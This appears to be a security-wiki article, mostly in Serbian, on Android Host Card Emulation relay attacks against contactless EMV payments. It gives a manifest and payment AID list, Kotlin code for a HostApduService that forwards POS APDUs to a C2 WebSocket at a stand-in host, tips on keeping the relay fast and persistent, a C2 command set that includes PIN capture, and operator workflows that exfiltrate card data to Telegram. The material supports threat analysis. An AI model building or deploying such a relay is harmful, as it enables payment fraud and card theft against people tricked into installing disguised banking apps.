Android HCE NFC/EMV Relay Attacks

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Pregled

Zloupotreba Android Host Card Emulation (HCE) omogućava zlonamernoj aplikaciji koja je podešena kao podrazumevana NFC payment service da u realnom vremenu prosleđuje EMV kontaktless transakcije. POS terminal komunicira ISO 14443-4/EMV sa telefonom; aplikacija HostApduService prima APDU-e i prosleđuje ih preko dvosmernog C2 (često WebSocket) ka backendu koji sastavlja odgovore, koji se zatim prosleđuju nazad ka POS-u. Ovo omogućava emulaciju kartice uživo bez lokalnih podataka o kartici. Kampanje viđene u velikom obimu rebrendiraju se kao aplikacije banaka/državnih organa, zahtevaju da postanu podrazumevana payment aplikacija i auto-exfiltrate podatke uređaja/kartice na Telegram botove/kanale.

Ključne karakteristike

  • Android komponente: HostApduService + podrazumevani NFC payment handler (category “payment”)
  • Transport/C2: WebSocket za APDU relay; Telegram bot API za exfil/ops
  • Radni tok operatora: strukturisane komande (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Uloge: scanner (read EMV data) vs tapper (HCE/relay) builds

Minimalne komponente implementacije

Manifest (postati podrazumevana payment HCE service)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

Primer liste AID-ova sa EMV payment kategorijom (samo aplikacije podešene kao podrazumevane za plaćanje mogu odgovoriti na ove AID-ove):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

Zatraži od korisnika da postavi podrazumevanu aplikaciju za plaćanje (otvara podešavanja OS-a):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

Kostur relay-a za HostApduService

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

Korisna napomena: Pozadinska usluga mora da odgovori u okviru POS vremenskog ograničenja (~nekoliko stotina ms) po APDU; održavajte low-latency socket i pre-auth sa C2. Održati rad nakon gašenja procesa koristeći foreground service po potrebi.

Tipičan skup C2 komandi (posmatrano)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV bezkontaktna razmena (primer)

The POS drives the flow; the HCE app simply relays APDUs:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

U relay-u, backend kreira validan FCI/FCP, AFL, records i kriptogram; telefon samo prosleđuje bajtove.

Radni tokovi operatora viđeni u stvarnom svetu

  • Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
  • Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
  • Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
  • Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).

References

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